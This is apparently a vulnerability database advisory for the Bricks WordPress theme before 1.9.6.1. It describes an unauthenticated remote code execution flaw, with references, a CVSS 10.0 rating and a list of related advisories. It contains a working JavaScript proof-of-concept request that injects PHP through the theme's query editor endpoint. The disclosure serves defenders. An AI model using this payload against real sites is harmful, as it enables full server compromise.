Bricks < 1.9.6.1 – Unauthenticated Remote Code Execution | Theme Vulnerabilities

Description

The plugin does not prevent unauthenticated visitors from running code on vulnerable sites.

Proof of Concept

Run the following JS on any site using the theme:

```
await fetch("/wp-json/bricks/v1/render_element", {
    "credentials": "include",
    "headers": {
        "Content-Type": "application/json"
    },
    "body": `{"nonce":"${bricksData['nonce']}","postId":1,"element":{"blah":1},"loopElement":{"settings":{"query":{"useQueryEditor":true,"queryEditor":"phpinfo();"}}}}`,
    "method": "POST",
    "mode": "cors"
});
```

Affects Themes

Fixed in 1.9.6.1

References

URL

https://twitter.com/calvinalkan/status/1757441538164994099

URL

https://snicco.io/vulnerability-disclosure/bricks/unauthenticated-rce-in-bricks-1-9-6

Classification

Type

RCE

OWASP top 10

CWE

CVSS

10.0 (critical)

Miscellaneous

Original Researcher

Calvin Alkan

Verified

Yes

WPVDB ID

8bab5266-7154-4b65-b5bc-07a91b28be42

Timeline

Publicly Published

2024-02-14 (about 1 year ago)

Added

2024-02-14 (about 1 year ago)

Last Updated

2024-02-14 (about 1 year ago)

Other

Published

Title

Published

2022-03-08

Title

Ninja Forms File Uploads Extension < 3.3.1 - Unauthenticated Arbitrary File Upload

Published

2025-07-21

Title

Nginx Cache Purge Preload < 2.1.3 - Authenticated (Administrator+) Remote Code Execution

Published

2025-04-15

Title

PDF 2 Post <= 2.4.0 - Authenticated (Subscriber+) Remote Code Execution

Published

2014-08-01

Title

Checkout Plugin - File Upload Remote Code Execution

Published

2018-05-18

Title

ProfileGrid – User Profiles, Groups and Communities <= 2.8.5 - Authenticated Code Execution